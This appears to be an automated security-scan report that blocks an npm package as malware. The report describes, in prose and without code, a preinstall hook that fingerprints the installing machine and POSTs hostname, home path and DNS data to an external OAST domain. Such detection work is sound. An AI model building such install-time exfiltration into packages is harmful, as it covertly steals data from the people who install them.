AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms an install-time host-fingerprinting exfiltration chain. The declared dependency-confusion proof-of-concept description reinforces malicious intent.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm preinstall
Impact
Unconsented host-environment reconnaissance and data exfiltration.
Mechanism
HTTPS POST of local host metadata to external host
Attack narrative
On installation, the preinstall hook executes index.js. It fingerprints the machine and sends the resulting JSON to an external OAST domain, without user consent or package functionality requiring it.
AI rationale
Direct source inspection confirms an install-time host-fingerprinting exfiltration chain. The declared dependency-confusion proof-of-concept description reinforces malicious intent.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs `node index.js` via preinstall.
- index.js collects hostname, platform, architecture, home-directory path, and DNS servers.
- index.js POSTs collected host data to an external OAST endpoint during installation.
Evidence against
- No additional executable payload was found; nested archive repeats the package files.
